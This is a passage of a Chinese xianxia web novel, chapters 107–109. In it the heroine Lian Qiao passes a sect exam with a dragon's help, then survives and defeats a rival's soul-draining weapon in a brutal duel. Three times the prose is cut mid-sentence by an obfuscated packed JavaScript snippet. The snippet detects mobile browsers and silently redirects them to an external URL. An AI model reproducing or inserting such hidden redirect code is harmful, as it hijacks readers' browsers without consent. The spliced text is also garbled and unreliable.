连乔翻了一个白眼,“你可闭嘴吧,我说过,也要一步一个脚印,钱自己挣事自己干会让我觉得踏实。” 对于这位啥都不缺且软硬不吃的大小姐,威逼利诱果然都没有用,敖周黯然叹了一口气,“行吧,那你且说,这次唤我何事?” 提到正事,连乔表情严肃起来,“敖周,你欠我三个愿望。” “嗯。”敖周道,“上天入海赴汤蹈火万死不辞,但是有悖天道伦理之事办不到。” “没让你做那些。”连乔勾了勾手指,让他过来些,但想到也只有敖周能听到她的话,也就没有拐弯抹角,“你帮我个忙。” 本来做好准备要横扫万千困难的敖周撸起袖子,正要大干一场,结果听完连乔的话,“就这?” 连乔点头,“嗯。” 敖周又“嗤”地笑了一声,觉得自己简直是捡了大便宜,连块皮都不用破,就能兑换连乔一个愿望。他摸摸鼻子,“你可要想清楚,我一旦答应,你就不可反悔了。” 于是乎,在召唤灵兽互搏的过程中,敖周释放威压,几乎不费吹灰之力,在攻击和防御中拿到极致的满分。 李长淮愣了。 他哪里会想到连乔招来这么个玩意儿,这已经不是灵兽了,这是仙家!他当即坐起来,指着连乔道,“你这召唤大有问题。” “哪里有问题?”连乔摊手,“他打不过别的灵兽?他挨不住别的灵兽打?还是说他长得丑?” 敖周:“谁说我长得丑?” 龙吟冲破九天,震耳欲聋,连乔捂着耳朵,“你可别装逼了,没人说你丑,你美,你最美,你是天下最美的小青龙,下来吧。” 连乔问李长淮,“李长老,我是不是哪里得罪你了,还是你收谁的钱了?你且说一说我召的青龙哪里不完美,你又要从哪个地方扣分?” 李长淮眸色一闪,“他根本不是灵兽!” 指着那昂首挺胸灵气几乎要将云台破开的青龙,李长淮冷声道,“御兽术,御兽术,御的是灵兽,你且看看这是什么,这是你召来的么,你有这么大本事?” “怎么不是我召来的?”连乔道,“要不要检查一下阵法?” 阵法没有问题,问题出在敖周身上,这样明显的仙身,说他是修道众人的灵宠,逻辑上不对。 来往间已经将事情的来龙去脉全部弄清楚,敖周知道连乔陷入被人怀疑的困境。生怕将这件事搞砸了让连乔许不成愿望,他立刻矮下身子,化成毛毛虫大小的形状落在连乔手心。 “我是灵兽啊,我是连乔姐姐的小龙龙。” 连乔:“……” 连乔清了清嗓子,“对,他是我的小龙,你看,我让他往东……”敖周乖乖地往东。 “我让他往西……”敖周又乖乖地往西拱。 “我让他竖着跳舞……” 敖周眼一冷,用契约给连乔传音,“你差不多得了,让我竖着跳舞,那不是欺负龙么?” 连乔:“……你看,他们不信了。” 敖周咬了咬牙,竖起身子,在连乔手中扭了扭。 在众人惊掉下巴的目光中,连乔开口道,“如果他是仙家,他会接受我这样侮辱他吗?不可能的,他是我召来的灵兽,他叫大青。” 敖周:“滚!” 早知道还不如上刀山下火海。 这事可千万别传出去,他才刚飞升,传出去他这面子往哪里搁? 虞南子被逗笑了,笑起来也是云淡风轻地,“好了,见识到你的大青了,大青不管是在攻防上还是在模样上,甚至在听你指令行动上,都无懈可击,基础分我给十分,加分项给五分,共计十五分。” 元常月:“这次御兽术相当有趣,我也给十五。” 严青山摸了摸花白的胡子,“老夫自然也是给十五。” 鬼无牙却没有出声。 邪气的老者斜眼盯着敖周许久,在严青山第三次喊他时才回过神,他面色不虞,但到底没有多说什么,最后也是依据评分标准给了“十五分”。 连乔非常满意敖周的配合,摸了摸他的脑袋,“多谢。” “搞什么啊,摸人不摸头,这可是龙头,你能不能搞清楚自己在的身份地位,不要……”话还没有说完,又是“嗷”一嗓子,被连乔结结实实弹了一个脑瓜崩儿。 本想发飙,但是想到发飙后伤了这位债主惹的麻烦更大,本想装个大逼却丢了大脸的青龙仙君此时脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062355|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又黑又臭,让连乔以后务必派给他上刀山下火海的任务,不要再干这种丢人事。 连乔:“你刚接任务时不是这样的,你明明很高兴。” 敖周不说话了。 结束这场噩梦,敖周几乎马不停蹄地奔走,连乔朝他挥手,“总之我很满意,下次还找你。” 敖周:“不用了,谢谢。” 得到高分,且即使在接下来的比赛中失手得到零分,也能够在最后综合得分中得前三的连乔意气风发。台上阵阵欢呼,不仅是为她这个人,还为方才那端青龙卖艺的杂技。 连乔挥手向大家表示感谢。 “哐当”一声,有什么扔到她身边,连乔猛地一躲,本来以为是臭鸡蛋结果发现是一束花。紧接着是一把灵石,一盘灵果,到最后还有人把自己灵宠扔上去,活像杂技表演演员打赏现场。 连乔双手上扬,又将右手贴在胸口,对着每个方向都深深鞠躬。 啊,这感觉真好,和上辈子镁光灯下的自己一样,既自信又张扬。 “恭喜你宿主。”系统说,“现在的你已经彻底蜕变,再也不是以前那个任人摆布的人了。” 连乔:“哦?那你们公司会给我什么奖励么?” “醒醒,别装死。”面对又突然消失的系统,连乔冷笑,“呵,真虚伪,连你们的恭喜都一文不值。” 望着连乔那满不在乎,但是又非常松弛,似乎将一切尽掌握在手中的表情和神色,又熟悉又让人厌烦,这让李长淮辛苦堵着一口气。他在默默收回目光时,看到鬼无牙也同样目光幽幽望着远处。 不同的是,他望的是台上花蝴蝶一样的人,鬼无牙则是透过云层想往更深处的地方看,而那里明明空无一片。 哦不对,方才还是有的。 半晌之前,那里盘亘着一条青龙。 李长淮幽幽开口,“呦,那丫头机缘挺大,居然与青龙有契约在,不过那青龙似是刚蜕变成功。啊,我怎么听说不久前同月那丫头刚丢了一只灵宠呢?” “你很闲么?”鬼无牙吹胡子瞪眼,“如果没什么事就去研究研究大比赛程,真是一次比一次离谱,若实在不行就去练剑场多练几把剑,你那把破剑都快要跟你脑子一样锈了。” 话虽说得解气,但是说话者的脸色却并不轻松,反而又望向半空。 进入到最后一轮,出题仍旧是抽签决定,这次不知道是概率使然还是真的走运了,最后一题居然是近战。规则便是在剑宗内匹配同阶弟子,之后在云台比试。这就和周重啸当时入剑宗的最后一步一般,看遇到的弟子究竟是何级别。 也不一定是输了就一定会失去进入剑宗的资格,评分还要按照对手的修为、临场发挥以及比赛时的状态和心态等。 原本连乔并不紧张,但是在抽签得到对手时,她整个人脸色都纠结起来。 场上原本欢呼的人一听到连乔对手后呼声更大,有一部分是站在她的角度替她捏一把汗,有一部分是看不惯她非常想让她吃瘪,剩下的人则是纯粹看对战双方都不是什么好惹的角色,且关系十分恶劣,就想在这里看热闹。 望着签号上的名字,连乔先是沉默了一下,继而望向裁判席,又望着签号,将木牌举起来给他们看。 原本噤声的系统又冒头,语气震惊,“什么鬼啊?不是差不多修为的子弟会被选为你的对手吗,怎么是她?” 107.第 107 章 在很早之前,被抢了灵宠的同月在乾元剑宗以及冲虚学院等能吆喝的地方都宣布了,她与连乔水火不容,迟早要把她打得和狗一样给自己当灵宠。 连乔只是一笑置之。同月当然是动不了自己的,她想动手,得看看自己身边那两位向来形影不离的影卫到底答不答应。再者,她又不是傻的,真对上了打不过还不会跑么? 系统:“怎么办,要不要跑?” “跑什么?敌人不就是想看我们跑么?这都最后一关了,来这招?” 系统老实道,“但是说实话啊,虽然你现在修为有涨,但这段时间同月也没有闲着,那是乾元剑宗八大天才弟子,她吊打你是完全足够的,更何况人家对敌经验比你丰富得多。” “你说得对,我要增加我的对战经验。”连乔将号签丢到签筒中,对上虞南子沉思的目光,“虞长老,我签字。” 系统:“……” 虞南子的语气听上去并不轻松,“连乔,同月的修为和狠厉远在你之上,如果不敌,不要逞强。” 应该是在虞南子门下待了很久,所以在当师父时,迟星垂也有所遗传,从不藏锋且有耐心。 虞南子温和叮嘱连乔在比试时一定要保护好自己,这让她觉得这位师父能跟,若是她进剑宗,那虞南子必然是第一顺位的师父。 还没有到上场时间,连乔回到露台,三面狐变成美艳女子给她捏肩揉背,连乔靠坐在椅背上闭目养神。 白花惊:“连乔,我怎么感觉剑宗有人在针对你啊,原本就处处不讨好,现在居然连同月都出来了。” 那可是乾元剑宗著名的小心眼和疯婆子! 连乔在胧月秘境和桐花岭,两次都和她针锋相对,现在居然让同月来当她对手,这不是要把她按在地上摩擦的节奏吗? 连乔:“你现在才发现吗?” 原主想进剑宗费尽了心思,并且因为得罪云招摇她们被各种造谣诋毁,甚至是身败名裂。她入剑宗也是这般千辛万苦——那些人到底为什么阻止她入宗? 单纯因为阻止她逃离子午谷? 当然不是,阻止她的人越来越低智了,一开始的手段还掩饰得到位,很难让人发现问题——但是随她所向披靡越战越勇,开始乱了阵脚。 现在阻止她的方法,可谓是漏洞百出。 望着裁判席上那几人的身影,连乔将三面狐喂给她的糖扔进嘴里,拍了拍手上的灰,“走了。” 白花惊:“你小心点啊连乔,要是发现同月发疯,能跑就跑。” 连乔捏捏白花惊肉肉的脸,“知道了哦。” “小白花。”连乔凑近了,看到白花惊微微变红脸,指着不远处那一字排开的五人,“小白花,你有没有觉得,哪个人让你不舒服,或者莫名让你不喜欢。” “啊?”不喜欢老师?向来乖巧的白花惊顿一顿,“五位师父人都很好,授业传道,各有性格……” 好了,不用问,小白花是好同志,没得一点心眼。 “不过最近长淮长老的徒弟,就是白祺啊,她让我很不舒服。”在连乔起身要离开之前,白花惊道,“她的情绪总是起伏不定,骂人也越来越狠了,我和她待在一起,总有种异样的感觉。” 连乔又笑着摸摸她白白嫩嫩的小脸,“知道了。” 云台上的红衣张扬,在连乔踏上去的瞬间,同月将云台门槛抬高一大步,随后望向差一点翻跟头的连乔,“啧”一声。 “这点小招数也躲不开,我看你还是趁早打包回你的子午谷算了。” 连乔足尖点地,稳稳落到云台之上,“你说得对同月师姐,那可千万拜托你要把我这个废物赶回子午谷哦。” 橘色鎏金广袖裙的女子眨眨眼睛,面对对方的恶意丝毫不生气,反倒露出来无所谓还非常甜美的笑,这让同月有种自己一拳打在棉花上,还被棉花划伤的屈辱感。 “少废话,我没工夫跟你在这逼逼赖赖。” 和她一直表现得那样,同月实在是一点耐心也没有。她当即出大招,水与火同时在她身后炸开,呼啸声和强冲击将她带倒在地,周围忽然化成一片黑暗。 同月从黑暗中携火把而来,连乔召出剑阵,全朝她穿去。 但是对面没有回应,剑阵扑空。 “哈哈……”身后传来清脆的嘲笑声,“趋光趋热是动物的天性,看来你还真是像宠物呢。” 背后猛地中一刀,法衣也被划开。 “我今天要教教你,狗见到主人是要摇尾巴的,让我看看你会不会摇尾巴?” 同月按住连乔的肩膀,迫使她倒在地上,看上去真的想将她来回摩擦。 连乔召回剑阵,同月立刻闪身消失在黑暗之中。 这是同月在比赛之前提前布下的阵法,这什么人啊,丝毫不将比赛规矩放在眼里。 好吧,同月来纯粹就是来血虐自己的,又不是比赛,让她按赛程来才不像她。 连乔脱下被扯碎的外衣,这件法衣在同月的全力攻击下不堪一击。 又是出现一个人,这次连乔没有贸然出剑阵,而是直接将数道剑影投向身后,又是扑了个空。 身前的红衣女子笑得更灿烂了,“哈哈哈哈哈,还真是长记性啊,你要是做我灵宠,想必是最聪明的那个,一遍就教会了。” “可惜啊……”她迅速闪到连乔面前,一把扣住她的脖子,连乔没有动。这么轻易将命门送到对方手里,实在是弱鸡,同月刚要用力,背后射出数十道剑光。 红衣女子动作很快,但仍然被凶狠的剑气破了衣袖。 手下的连乔忽然化成虚影,连剑气也随风而散。 连乔在身后笑,“哈哈哈,同月师姐你说得对,我可聪明了,什么东西教一遍就会,你看我这声东击西学得好不好?” “学人精!”同月从鼻腔里冷哼一声,迅速结阵,周围依旧黑暗,但是脚下有八卦阵亮起,且越来越亮,结成一个光罩贴在连乔身后。 有龙吟有呼啸,数十道虚影如同海啸一般冲击过来,同月迅速结印,直指连乔,“万兽阵,攻!” 连乔盘腿而坐,一个小阵法盘绕身边,即使万兽奔腾而来,也撼动不了小小的阵法分毫。 嘿嘿,第二次用这阵法了,很好用。 上一次是对周重啸,这次的效果和上次一样,同样将对手气个半死,大骂她是个缩头乌龟,是不是有病打不过就躲,要是每个人都像她这样无耻躲着不出来那修真界都得玩完。 连乔眨眨眼,“不是啊。” 黑着脸的同月正准备用别的方法逼她出来,闻言白眼都要翻天上,“不是什么不是?” 但是没等到白眼翻天上,强烈的阳光让她短暂地闭了一下眼,连乔在破开同月阵法的同时,用万剑逼退万兽,刀剑光影和猛兽群影在半空相对,在掩盖视线的御兽术阵撤去后,这磅礴且震撼人心的一面被所有在场的观战人员收入眼底。 露台之上传来阵阵欢呼。 欢呼的还有熟人,比如方才丢了大脸恨不得找个地缝钻进去的敖周,不知道什么时候又返回过来,对着台上和同月僵持不下的连乔大喊加油。 “连老板,老板,你得为我报仇啊!” 在连乔硬扛下三次万兽冲击后,敖周恨不得跺脚,“上啊,上啊连乔,干倒她!” “你可以啊连乔,上啊,你现在不比她差,绝对能反杀她,去啊!” 毕竟已经飞渡雷劫,敖周也不能和一个弱女子(实际上很强)一般见识,但这并不代表他不能站队。原本都游出去二十里地了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080699|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果发现因为放跑自己,连乔被同月为难,这让格外怜香惜玉的敖周过意不去(十分八卦)。 他想看到两个人大打出手,并且还想知道自己的好朋友能不能赢。 此时已经撑到极致的连乔几乎要闭上双眼。 他再这么呼同月的脸,接下来就要他来替被同月虐杀的自己报仇了。 从来没被人打过脸,但这次脸都要被呼肿的同月怒火中烧,她猛地贯向地面。 整个云台抖了几抖,连乔的剑阵慢慢地往后退,敖周大喊不妙,“连老板撑住啊,我用留影珠把你对抗猛敌的勇敢姿态录下来了,到时候我传给山影看,来,你撑得帅点!” “你是不是傻X!”连乔大骂一句脏话,原本还好但是想起某些不愉快的记忆简直脚趾抓地,剑阵猛地崛起,直接削杀两只影兽。 被剑气和灵兽□□得睁不开眼的白花惊抬头望向迟星垂,迟师兄之前一直在忙,听到连乔对上同月才赶过来,白花惊问,“迟师兄,谁是山影啊?” 迟星垂原本脸色不太好,现在更可以用奇差无比来形容。 “不知道。”他说。 “啊师兄,连乔也太猛了吧,怎么突然就雄起和同月决一死战了呢?” “连乔的修为基底很好,只是这几年荒废了。”迟星垂抬头,望向虚踩在空中的女子,“她本就有天赋,这两年修行速度很快,也很聪明,会懂变通,同等条件下不一定会输给同月。” 那端敖周仍旧鬼哭狼嚎,白花惊也跟着大喊,“连乔加油啊,一定要赢啊。” “天呐,同月的万兽阵至今也只有杨无溟破过,连乔居然能用万剑直接扛住这等攻击,虽然看上去有点为难,但是她可是新人啊!” “虽然是新人,但是连乔入门很早吧,据说在子午谷三岁练剑破夏水,我小时候在子午谷那一片待过,听说过她的名字,只是后来被养废了而已。” “她好好修炼也就这两年啊,我之前见过她,可混了。” “那这样说,连乔才是修炼天才,之前的八大弟子岂不是要易名?” “易名什么易名,八大天才是他们自己封的,愿意去参与排名,真论起修为和能力,不见得他们八个就是最强的。” “对啊对啊,云中峰那几个都没有参加,我可见过迟星垂练剑啊,那绝不是八大天才能比的,最多也就杨无溟能拼一拼。” “啊呀都是徒有其表,说是说很厉害,但是被一个还没入门的弟子扛这么多招,我都觉得我上也行了。” “额……你小点声,等下被听到你就完了。” 原本准备在大比上威风一把,且准备将连乔一招击倒的同月,使尽全力也只是让连乔轻微擦伤,在听到这么多胡言乱语之后,一把扫过去,一只黑鸦猛地撞向露台,地面炸了一个大坑。 方才说“我行我也上”的弟子不说话了,在对上同月那要宰了他的目光,赶紧蹲下身去逃走,连什么姿势被埋好在哪里埋都已经想好。 惹上那疯婆子,只能自认倒霉了。 呜呜,以后再也不敢吹牛逼了。 见识到同月的疯,没想到她这么疯,连乔给她竖了个大拇指。 “真的是吵死了。”同月冷脸,“你也是。” “我真的是讨厌死你这种小人得志的样子,不过是修为涨几步,还真以为自己了不起了?”同月将腰间的琉璃葫芦抛出,冰晶材质的葫芦带着挂链钩子垂直落在云台中央,在连乔反身离开时将她勾住,以她完全不能抵抗的力量将其拖入葫芦内。 为葫芦盖上盖子,同月使尽摇晃,摇得里面的女人口吐白沫翻着白眼,又跳起来将那深入葫芦内的钩子猛地一拽,这才拍拍手。 露台上的迟星垂动作一顿,白花惊捂着嘴尖叫,“糟了!” 108.第 108 章 同月抱着胳膊望向里面垂死挣扎的连乔,笑得像一朵有毒的鲜花。 露台上看戏的大多数人还不清楚发生了什么,有一小部分眼尖的人知道这水晶葫芦和银钩链是同家的镇家之宝,传了十几代传到同月这里。 葫芦名作“无魂罩”,顾名思义,能罩住普天之下任何活的东西,银钩名为“天均钩”,以五寒玄铁制成黑爪,银龙龙骨而成银链,可抽所有所触人与物之生魂。 天均钩的作用便是在此。有些凶兽性格太烈不好驯化,抽走生魂后会变得呆笨,但也会更听话。 这两件法宝都为驯兽而用,原本是同月准备为驯敖周所留,她对着里面惨白了脸的连乔笑着眯起了眼,“既然你顺走了那只青蛟,我这好东西空着也是空着,不如你来试试?” 是天级以上的大杀器,混在一起更是凶中之凶,别说连乔,这场上的裁判上来,也不一定有谁能完好脱离。 虞南子拍桌而起,“同月,你快停下,这太过分了。” “过分?”同月抱着胳膊,似乎不明白什么叫过分,“她偷了我的东西啊,她做错了事就要承担责任,这不是应该的吗?” “什么偷你东西,老子是你东西吗?!”敖周跳上云台,“你快放了她,她是无辜的,你不能徒增业障。” “哦?你想救她啊,那你进去啊,你进去我就考虑放了她?”同月斜睨敖周,好像有点儿兴趣,“都飞渡成功了,迄今为止还没有谁与神龙结契呢,不如我做第一个?” 跟这类疯婆娘根本说不通,敖周开始“哐哐”撞无魂罩,而银龙骨链横扫而来,这银龙比他修为还要高,对他是天然的威压,原本十成之力也只能使出一半。 敖周也无可奈何,只能眼睁睁看着连乔的生命一点一点流逝,她先是站在光罩之中,而后靠着,最后体力不支慢慢地坐在地上。 同样不适的还有系统,在连乔痛苦地蜷缩起来时它开始尖叫,叫得有气无力,“啊啊啊啊啊,怎么搞的啊,就好像孙悟空被压在五指山下,根本毫无回手之力啊,宿主,宿主你振作一点……” 那玄铁钩钩在身上,身体里有什么东西在不断被钩走,越反抗被抽走力量时的反应越大。 窒息、绝望、乏力……连乔双手撑在光罩上。 无魂罩透明色,外面的情况一览无余,折射成扭曲的画面映入眼帘,有人惊恐有人尖叫,也有人拼命攻击光罩想将救她于水火之中——但都没有用,光罩纹丝不动。 “呜呜呜,难道我又要死了吗?还以为找了你会不一样呢……”因为重伤,系统的声音听上去遥远又空灵,还非常不真切。 说一些没机会了,最后的机会也用完了之类的,像是人的临终之前听到的胡言乱语。 “连乔,醒醒。”迟星垂贴在光罩上,连乔苍白的脸近在咫尺,“别睡,连乔。” 连乔用口型跟他说,“我要死了,这次是真的。” 敖周拼命去撞光罩,里面的连乔天旋地转,头脑中像几百个窜天炮同时炸开,脑浆都要被炸成糊,有血从嘴角,从鼻腔流出来,她无力地锤了一下面前的光墙。 “别晃了。”迟星垂阻止敖周,“这样她更难受。” “你这死婆娘长得丑性格也毒,她输就输,你赶她走就是了,你这完全是虐杀!”敖周转身,他勾起同月将她掼倒在地,隔绝她无感六观,想控制同月来强制迫使无魂罩和天均钩停下。 但天均钩抽魂的速度更加快,同月“咯咯”笑,简直笑出了眼泪,“这仙器早就催动了,不全受我控制,你越揍我,这仙器失控的速度就越快哈哈哈,连乔死得也越快……” “你特么……” 连乔濒死前的状况太惨烈,瞳孔收缩,全身鲜血,看台上有些弟子捂上了双眼,有些人看不下去背过身去,还有人直接跑了。 先前得罪同月那个弟子腿肚子不停打哆嗦,惹上这疯婆子的下场这么惨烈吗,要是这虐杀落在自己身上…… “不好了,有人吓晕过去了……” “医修,呼叫医修,正东方位从前往后第十二排十三座……” 台上台下都乱成一团,连乔蜷缩坐在地上,外面迟星垂正在对她比照手势。 连乔指了指自己,又指一指他身后,还指一指上面,摇摇手。 意思是同月背后还有人,她被人拿捏当枪使,那个人她没查到,就在乾元剑宗。 迟星垂的脸色也十分惨淡,连乔又捶一下光罩,口型是我也不想死,抱歉啊,连累你。 迟星垂摇摇头。 虽然一直在服用隔绝重心蛊的药物,但这次她生命消逝的速度太快,让他也在瞬间被抽空力气。他扶住光罩,这光罩似乎是天底下最坚固的武器,只有同样等级的法器才能撼动它。 向来温润平和,从未和任何人红过脸的虞南子和鬼无牙快要打起来,虞南子让鬼无牙马上停止这场闹剧。 和他那个徒弟一样疯疯癫癫,鬼无牙不仅没有觉得自己的做法不妥,还认为自己在替天行道,“这是修行之路上的一道坎,哪怕是死了也得认。” “就算是死,也是死在修行途中,而不是因为私人恩怨被人用高阶法器虐待而死。” 面对虞南子的冷脸,鬼无牙“嗤”地笑一声,“啊呦,到底是一个人的造化,若是连乔有同样的法器,也可以这样对同月啊。” 李长淮摸了摸胡子,一直以来的糟心情绪此刻似乎一扫而光,虞南子望着他那想笑又憋着笑的瘪足演技,“有时候我也在想,人如果收不住自己的情绪就不要出面,这么多年了,还以为年纪大了能有点长进,结果还是跳梁小丑一样。” “你说什么呢?” 不再理会这群人的无理,虞南子转向元常月,“阿轩呢?” 成英轩也在台上,虞南子道,“阿轩,之前游一赠你一块长剑碎片,可否将碎片给我,我用‘摇光’同你换。” 虞南子有铸剑之能,摇光是他多年前所铸最好的宝剑,一直被他珍藏在剑阁之中。 成英轩一愣,“虞长老,您要这碎片,我送您便是,摇光太珍贵了。” “破光十里,剑气锋利,你爱剑,摇光会很高兴有你这样的主人。”在成英轩赠出‘遗风’碎片的同时,虞南子取出其他断剑碎片,让人惊异的事,这些碎片来自同一把剑,且刚好可以拼成一把整剑。 长剑合成的一瞬,罡气四涌,仿佛受某种召唤一般,直冲无魂罩顶端。 同月一顿,但在无魂罩纹丝不动的情况下又“噗嗤”一声笑出来,“还以为多厉害呢,神神叨叨的也不过如此嘛。” “砰”一声,在“遗风”第三次冲击无魂罩后,那原本坚如磐石的透明状光罩出现大团大团如蛛网般的裂纹,以不可挡的实力将无魂罩与玄铁钩震成碎片! “快让开。”虞南子指示迟星垂和凌阿疏散场上冲过来想解救连乔的弟子以及凑热闹的路人,成英轩和凌阿快速行动,无魂罩炸碎的瞬间崩出大量灵力,这些灵力足够贯穿一个修士的胸膛。 迟星垂扶起连乔,后者三魂七魄被玄铁钩钩走得差不多,在玄铁钩炸碎后所有的力量又重新反扑,将人撞得快要废掉。 迟星垂的手贴在连乔额头上,重心蛊相互连接,灵力从迟星垂身上传到连乔身上,后者缓了很久才睁开眼,睁眼的一瞬间抬手看看手,看自己有没有成为鬼变成透明色。 看完自己又看迟星垂,迟星垂还活着,再次确定自己没死。 计划好了一切,却中途被这群人全部搅乱,暴躁的同月骂了句“臭婊.子运气还真好,但是我偏不信邪今天非要叫你死。” 挡在连乔身前的男子声音冷冷,“麻烦你说话放尊重些。” 同月眯起眼,“迟星垂,我还第一次见你插手这种事,怎么,开窍了怜香惜玉啦?” “但是这个人不行,我第一次这么生气,无论如何也要杀了她的。”她抱着胳膊,非常感慨,“不如这样,我杀了她,我把我赔给你,相比较她这么个不伦不类的妖修,我觉得我更适合你。” “你适合个屁!”终于回过神来,连乔撑着剑从地上站起来,擦了一下血糊糊的脸。 她整个人变成红人,鎏金色衣裙也被染得血迹斑斑。 丛林剑尖声呼啸,另一把不知名的大剑绕在头顶转,同月认出来这是一把近仙器,煞气非常重,方才在连乔醒来时妄图半路截胡,但是没控制住。 连乔让迟星垂离开,顺便带上趴在她脚边哭得快要断气的三面狐。 迟星垂顿了一下。 连乔眨了一下眼,长长的睫毛上挂着血珠,望上去触目惊心,她对迟星垂摇摇头,“这件事我一定要自己解决。” 迟星垂想说什么,最终还是什么都没说。他点头,“好。” 南道想劝连乔放弃,甚至想直接将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090760|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她扛走,大声骂人,说都这样了还比什么比。 迟星垂:“要是肯放弃,那就不是她了。” 三面狐哭缓过来抽抽噎噎地吸着凉气,望向台上一手抓“遗风”一手抓丛林的连乔,狐狸眼瞪圆了,穿过那两把剑的后面,像是想起了什么。 同月还在骂脏话,越骂越难听,连乔拖着剑一步一步走向她,走一步云台上留下一个血印…… 同月不记得自己是怎么输的了。那把“遗风”连乔用起来非常顺手,仿若是她的本命剑,她和连乔一开始还打成平手,但是连乔越战越勇,自己渐渐落于下风,最后更是败于那两把剑下。 她想逃,连乔没让她走得成。 是同样的剑阵,遗风和丛林化作千百虚影,在穿破层层的万兽阵后,尽数冲向它的主人。 鬼无牙拍完桌子又一跃而起,“快住手,这样下去同月会死的!” 在场没有人回答,哪怕是一直偏心眼偏到快半身不遂的李长淮也噤声了,噤声不是别的,是因为见到了老朋友,即使过了这么多年,也没见到本人,那把剑也让他心生震颤。 其他人则是不言不语,每个人脸色都不好,之前是出不了手现在是不想出手。 要冲上前去阻止连乔的鬼无牙被虞南子阻止,虞南子横在他身前,说话慢慢地,“无牙兄,都是修行路上必须要经历的一段,也都是后辈们自己的恩怨,你我插手,不合适吧?” “不插手?连云天那把剑不是你给她的?” 面对狂怒的鬼无牙,虞南子只是温柔地笑了笑,“她爹的剑,给她不是应该的么?” “况且无魂罩和天均钩,难道你从未插手过?”在鬼无牙的沉默中,虞南子坐下来,语气仍旧云淡风轻,“你也坐下吧,我很多年没插手剑宗的事了,也不想跟你闹得难看。” 在剑影全数穿破所有结界而后又穿透胸腔、肺腑、经脉后,同月瘫倒在地,她不可置信望向连乔,“你……” 退后一步,连乔用剑尖挑开了她的手。 “同师姐。”连乔提起剑,慢吞吞擦着剑尖,“恭喜我吧,这次我入宗门了。” 虽然这宗门她并不想入,甚至觉得在这里多待一步都无比恶心。 呵,所谓的名门正派。 不过是一群沆瀣一气高高在上的败类。 同月穿着红衣,看不出流了多少血,连乔想应该和自己一样,因为她控制得很好,一点也没有多伤她。不过同月应该更惨些,因为她经脉全断,以后再也不能修行入道。 但连乔觉得自己更善良些,因为相比较同月对自己的虐杀,她以德报怨,只是废了她,还留了一条命。 只不过,对于同月这等以虐待他人为乐的人,废了她应该比杀了她还要残忍。 同月抬了抬手,修长的手指扭曲成诡异的弧度,她张口想喊鬼无牙,鬼无牙陷入某种慌乱没有回应。 杨无溟站在台上,同月想去向她的爱人求救,她一直都那么完美那么高高在上,她不想在人前露出这么狼狈的一面。 杨无溟没有看她,他的目光落在连乔那把“遗风”剑上,那么完美那么夺人心魄的剑术——即使那把剑原本的主人不在,但也能够从那张狂的剑法中看到它曾经主人的意气风发。 同月慕强,他也同样。 二人本来就是奔着对方的优势而去,交易罢了,本来也没有多少真心在。当另一半不能满足自己的需要,那么同情心则是最无能的东西。 杨无溟连一个眼神都没有给她。 第一次见到这么惨烈的场景,云台上鸦雀无声。 没有人想去同情台上躺着的人,毕竟在片刻前,她所做的一切,比现在对方对她所做的要残忍一百倍。 连乔拖着剑,在沉默中走下云台,在力竭倒下的那一瞬,三面狐托住她,喜欢咧嘴的雪白狐狸也收住笑容,三步并两步离开这是非之地。 “师兄,他们去……”童元宝一回头,手忙脚乱抓住往后一倒的迟星垂,“师兄,师兄你怎么了?” “哎师兄……”邵吴兴大惊,“师兄这是怎么了,怎么忽然倒了?” 向来四肢发达头脑简单的邵吴兴后知后觉地想,不会是他骂迟星垂的话被某个心软的神明听到了,所以真把迟星垂放倒了,让他成为一个废人吧? 不要啊,邵吴兴心想,他就是嘴上说说,迟大师兄你可千万别有事啊。 109.第 109 章 再次醒过来时,阳光打在身上,但是连乔不觉得暖,只觉得刺目,她艰难揉了一下眼睛,看到旁边的迟星垂还在昏迷,索性又闭上了眼睛。 迟星垂和她伤得一样重,但是后来又给自己渡了灵气,好让在比试中能多撑一点时间,相比之下比她亏损还要多。 上次默非说研制出解重心蛊的药,但没有用,没能解得开,这次差点连迟星垂都搭上了。 昏迷之前,三面狐背着她到云中峰,之后一群人手忙脚乱,又喂丹药又渡灵的,到现在差不多才安生下来。 来看他们的人一波接着一波,连乔猜自己大概昏睡了四天,因为白花惊说都四天三夜了,连乔怎么还这个样子。 “不仅是连乔啊,师兄也在昏迷,比连乔还严重。”白花惊坐在桌前,望着一言不发的默非,“怎么回事啊默非师父,他们俩明明是一样的症状,受的也是同样的伤,这就是很不对……瞒别人还瞒得过去,瞒我不行。” “这很明显就是情蛊!”白花惊望向两张床上躺着的两个人,本来两人不是躺在一起的,为了方便照顾才搬在一起的。 虞南子一眼就看出了什么问题,但是没有明说。 默非瞥一眼她,“你还知道情蛊?” 